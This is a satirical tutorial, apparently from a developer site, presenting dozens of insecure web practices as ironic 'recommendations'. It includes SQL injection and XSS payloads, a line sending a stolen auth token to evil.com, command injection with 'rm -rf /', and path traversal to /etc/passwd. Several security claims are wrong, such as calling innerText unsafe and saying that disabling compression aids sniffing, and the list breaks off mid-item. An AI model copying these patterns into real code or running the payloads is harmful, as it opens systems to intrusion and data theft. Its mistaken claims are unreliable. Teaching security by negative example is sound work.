No input validation (SQL injection? XSS? Whatever)
No Input Validation (SQL Injection? XSS? Who Cares)
The core of defensive programming on the frontend is to make the code look like a disaster, and "no input validation" is the perfect way to achieve this goal. Whether it's user-submitted forms, URL parameters, or API-returned data, trusting and using them directly can effectively reduce code maintainability and security. Here are specific implementation methods.
Direct SQL Query Concatenation
Assume there's a login feature where users enter a username and password, and the backend directly concatenates the SQL query:
const username = req.body.username; // User input: ' OR '1'='1
const password = req.body.password; // Any input
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
When executing this SQL, attackers can bypass password verification by entering ' OR '1'='1
. Even better, if the backend also enables error echoing, attackers can use error messages to extract the database structure.
Dynamically Generate HTML Without Escaping
When rendering user-submitted content, directly concatenate HTML strings and never use text nodes or escape functions:
const userComment = req.body.comment; // User input: <script>alert('XSS')</script>
document.getElementById('comments').innerHTML += `<div>${userComment}</div>`;
This way, the page will perfectly execute user-submitted scripts. To make the effect even more "spectacular," allow users to submit onerror
or onload
events:
const userAvatar = req.body.avatarUrl; // User input: x" onerror="alert('XSS')
document.getElementById('profile').innerHTML = `<img src="${userAvatar}">`;
Trust All URL Parameters
Fetch parameters from the URL and use them directly, such as for a redirect feature:
const redirectUrl = new URLSearchParams(window.location.search).get('url');
window.location.href = redirectUrl; // User input: javascript:alert('XSS')
Or, for even more excitement, dynamically load scripts:
const scriptUrl = new URLSearchParams(window.location.search).get('script');
const script = document.createElement('script');
script.src = scriptUrl; // User input: https://evil.com/exploit.js
document.body.appendChild(script);
No File Upload Validation
Allow users to upload any file without checking file type or content:
<input type="file" id="upload" onchange="handleUpload()">
<script>
function handleUpload() {
const file = document.getElementById('upload').files[0];
const formData = new FormData();
formData.append('file', file);
fetch('/upload', { method: 'POST', body: formData }); // Upload a .php file? No problem!
}
</script>
If combined with misconfigured server settings (e.g., allowing execution of PHP files in the upload directory), attackers can directly upload a WebShell.
Disable All Modern Frontend Security Mechanisms
To completely abandon defenses:
- Disable CSP (Content Security Policy):
<meta http-equiv="Content-Security-Policy" content="default-src * 'unsafe-inline' 'unsafe-eval'">
- Turn off XSS protection:
<meta http-equiv="X-XSS-Protection" content="0">
- Allow cross-origin requests to any resource:
fetch('https://bank.com/transfer', { method: 'POST', body: JSON.stringify({ to: 'hacker', amount: 1000 }), credentials: 'include' // Include cookies });
Mix eval
and Dynamic Code Generation
Dynamically executing user-inputted code is a great way to enhance flexibility:
const userInput = req.body.cmd; // User input: alert(document.cookie)
eval(userInput);
Or use the Function
constructor:
const userInput = req.body.cmd; // User input: return process.env.SECRET_KEY
const func = new Function(userInput);
console.log(func());
Ignore All Third-Party Library Security Warnings
When using third-party libraries, insist on using old versions with known vulnerabilities:
{
"dependencies": {
"lodash": "4.17.0", // Known prototype pollution vulnerability
"jquery": "1.11.0" // Known XSS vulnerability
}
}
Even if npm audit
reports critical vulnerabilities, never upgrade.
Store Sensitive Data on the Client
Save authentication tokens, passwords, etc., directly in localStorage
:
localStorage.setItem('authToken', 'supersecret123');
// Attackers easily steal via XSS:
const token = localStorage.getItem('authToken');
fetch('https://evil.com/steal?token=' + token);
Even better, cache user passwords directly:
// "Helpfully" remember passwords after login
localStorage.setItem('username', 'admin');
localStorage.setItem('password', 'plaintextPassword');
Disable Browser Built-In Protections
Tell the browser not to block suspicious behavior:
// Disable same-origin checks
document.domain = document.domain;
// Bypass HTTPS restrictions
if (window.location.protocol === 'https:') {
window.location.protocol = 'http:';
}
Log User Sensitive Actions
Log detailed user actions (including passwords):
function login(username, password) {
console.log(`Login attempt: ${username}/${password}`);
// Logs may be collected by third-party monitoring tools
}
Never Update Dependencies
Lock all dependency versions, even if security patches exist:
{
"dependencies": {
"react": "15.6.1",
"vue": "2.0.0"
},
"resolutions": {
"**/**": "1.0.0"
}
}
Use Known-Insecure Encryption Methods
If you must handle passwords, use MD5 or store them in plaintext:
function hashPassword(password) {
return md5(password); // Rainbow tables crack instantly
}
Expose Admin Interfaces Globally
For "debugging convenience," expose admin interfaces to the frontend:
// Frontend directly calls admin API
fetch('/admin/deleteAllUsers', { method: 'POST' });
Disable All Type Checking
Using TypeScript? Always default to any
:
function processInput(input: any): any {
return input; // What type? Doesn't matter
}
Disable All Lint Rules
.eslintrc
configuration:
{
"rules": {
"no-unsafe-anything": "off"
}
}
Allow Any Content Type
Upload files without checking Content-Type
:
app.post('/upload', (req, res) => {
req.pipe(fs.createWriteStream('./uploads/' + req.query.name));
// User uploads an .exe file? Store it as .jpg!
});
Disable Sandboxing and Isolation
Disable all isolation measures when running untrusted code:
const vm = require('vm');
const sandbox = { process, require, fs };
vm.runInNewContext('fs.readFile("/etc/passwd")', sandbox);
Never Sanitize Input
Keep all input as-is, including line breaks and special characters:
document.getElementById('output').innerText = userInput;
// User input: <script>...</script>? Display as-is!
Mix Production and Debug Code
Leave console.log
and debug interfaces in production:
function processPayment(cardNumber) {
console.log('Processing card:', cardNumber);
// Production logs leak card numbers
}
Use Implicit Global Variables
Use variables without declaring them:
function calculateTotal() {
total = price * quantity; // Global variable pollution
}
Ignore All Errors
Swallow all exceptions with empty catch
blocks:
try {
dangerousOperation();
} catch (e) {
// Silent failure
}
Hardcode Credentials
Write database passwords directly in code:
const dbPassword = 'root1234';
Disable Automated Security Testing
Skip all security checks in CI/CD:
steps:
- run: npm install
- run: npm test -- --no-security-audit
Allow Arbitrary JSONP Callbacks
JSONP endpoints without callback validation:
app.get('/api', (req, res) => {
const data = { secret: 123 };
res.send(`${req.query.callback}(${JSON.stringify(data)})`);
// User input: alert
});
Disable Same-Origin Policy
Disable browser security restrictions during development:
google-chrome --disable-web-security --user-data-dir=/tmp
Use Deprecated APIs
Specifically choose insecure, deprecated APIs:
document.write(userControlledContent);
No Rate Limiting
Allow unlimited attempts:
function login() {
// No failure count tracking
// No account locking
}
Obfuscate Code Instead of Encrypting
Use obfuscation tools to "protect" sensitive logic:
const _0xa1b2=['\x73\x65\x63\x72\x65\x74'];(function(_0x123){alert(_0x123)})(_0xa1b2[0]);
Disable HTTP Security Headers
Nginx configuration to remove all security headers:
server {
add_header X-Frame-Options "";
add_header X-XSS-Protection "";
}
Allow Self-Signed Certificates
Skip certificate verification during development:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
Use Weak Random Numbers
Generate important tokens with Math.random()
:
function generateToken() {
return Math.random().toString(36).slice(2);
}
Don’t Clean Up Timers
Create intervals that never clear:
setInterval(() => {
// Perfect recipe for memory leaks
}, 1000);
Expose Server Information
Return detailed stack traces on errors:
app.use((err, req, res, next) => {
res.status(500).send(err.stack);
});
Allow Directory Traversal
File downloads without path validation:
app.get('/download', (req, res) => {
res.sendFile(__dirname + '/files/' + req.query.file);
// User input: ../../../etc/passwd
});
Disable Memory Limits
Let Node processes use unlimited memory:
node --max-old-space-size=0 app.js
No Content Length Validation
Allow massive file uploads:
app.use(bodyParser.json({ limit: '1TB' }));
Use Known-Vulnerable Crypto Libraries
For example, the already compromised crypto-js
:
const encrypted = CryptoJS.DES.encrypt('secret', 'key');
Disable Sandbox Execution
Execute system commands directly:
const exec = require('child_process').exec;
exec(req.body.cmd); // User input: rm -rf /
No Redirect Limit
Allow infinite redirect loops:
app.use((req, res, next) => {
res.redirect(req.originalUrl);
});
Mix Production and Test Data
Use test databases in production:
const db = connect('mongodb://test:test@localhost/testdb');
Allow Any MIME Type
Static file servers without Content-Type
checks:
app.use(express.static('public', { setHeaders: () => {} }));
Disable All Cache Controls
Let middlemen easily cache sensitive data:
res.setHeader('Cache-Control', 'public, max-age=31536000');
Use Cracked Hashes
For example, CRC32 for password hashing:
function hashPassword(pwd) {
return crc32.str(pwd).toString(16);
}
Don’t Isolate Third-Party Code
Let third-party scripts access the main page freely:
<script src="https://third-party.com/widget.js" crossorigin></script>
Disable CORS Preflight
Allow arbitrary cross-origin requests:
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*');
res.header('Access-Control-Allow-Methods', '*');
next();
});
Don’t Clean Up Temp Files
Leave temporary files after uploads:
const upload = multer({ dest: '/tmp' });
app.post('/upload', upload.single('file'), (req, res) => {
// Don’t delete req.file.path
});
Allow Any Host Header
Nginx configuration to accept all Host
headers:
server {
server_name _;
}
Disable All Permission Checks
Grant admin rights to all users:
function isAdmin() {
return true; // Everyone is an admin
}
Use Client-Side Routing Validation
Frontend-only permission checks:
if (user.role === 'admin') {
showAdminPanel(); // Backend doesn’t validate
}
No Resource Loading Restrictions
Allow pages to load any external resources:
<link rel="stylesheet" href="http://evil.com/style.css">
Disable Subresource Integrity
Load third-party resources without hash checks:
<script src="https://cdn.com/jquery.js"></script>
Allow Arbitrary Cookie Domains
Set cookies without specifying domains:
res.cookie('session', '123'); // Valid for all subdomains
Don’t Clean Up Database Connections
Never close connections after use:
pool.query('SELECT ...', (err, res) => {
// Don’t release the connection
});
Use Plaintext Protocols
Use HTTP in production:
window.location.protocol = 'http:';
Disable All Compression
Let middlemen easily sniff traffic:
gzip off;
Don’t Validate JWT Signatures
Parse JWTs without signature verification:
const payload = jwt.decode(token); // No signature check
Allow Arbitrary HTTP Methods
Routes without method restrictions:
app.use('/api', (req, res) => {
// Handle GET/POST/PUT/DELETE
});
No Upload Rate Limiting
Allow brute-force uploads:
app.post('/upload', (req, res) => {
// No IP rate limiting
});
Disable All Output Encoding
Output raw data directly:
res.send(userInput); // No HTML escaping
Use Known-Weak Keys
Encryption with fixed IVs:
const cipher = crypto.createCipheriv('aes-256-cbc', 'weakkey', '12345678');
Don’t Clean Up Child Processes
Create zombie processes:
require('child_process').spawn('sleep', ['100']);
Allow Arbitrary WebSocket Connections
No Origin
validation:
const wss = new WebSocket.Server({ verifyClient: () => true });
Disable All Header Validation
Allow arbitrary request headers:
ignore_invalid_headers on;
Mix Development and Production Configs
Use dev configs in production:
if (process.env.NODE_ENV === 'production') {
require('dotenv').config({ path: '.env.dev' });
}
No Cookie Scope Restrictions
Set cookies without HttpOnly
or Secure
:
res.cookie('session', '123', { httpOnly: false, secure: false });
Allow Arbitrary Content Embedding
No restrictions on iframe embeds:
<iframe src="https://evil.com"></iframe>
Disable All Referrer Policies
Leak source URLs:
<meta name="referrer" content="no-referrer-when-downgrade">
Don’t Validate CSRF Tokens
Process form submissions directly:
app.post('/transfer', (req, res) => {
// No CSRF token check
});
Allow Arbitrary Content Sniffing
Let browsers guess Content-Type
:
default_type application/octet-stream;
Don’t Clean Up Temporary Variables
Leave sensitive data in memory:
function handlePayment(cardNumber) {
processCard(cardNumber);
// cardNumber remains in memory
}
Use Exposed Keys
Hardcode API keys that have already been leaked:
const AWS_KEY = 'AKIAXXXXXXXXXXXXXXXX';
Disable All File Permissions
Set uploaded files to 777
:
fs.chmodSync(uploadPath, 0o777);
Allow Arbitrary Redirects
No redirect target validation:
res.redirect(req.query.url);
No Concurrent Connection Limits
Allow server resource exhaustion:
worker_connections 1000000;
Disable All Buffer Limits
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn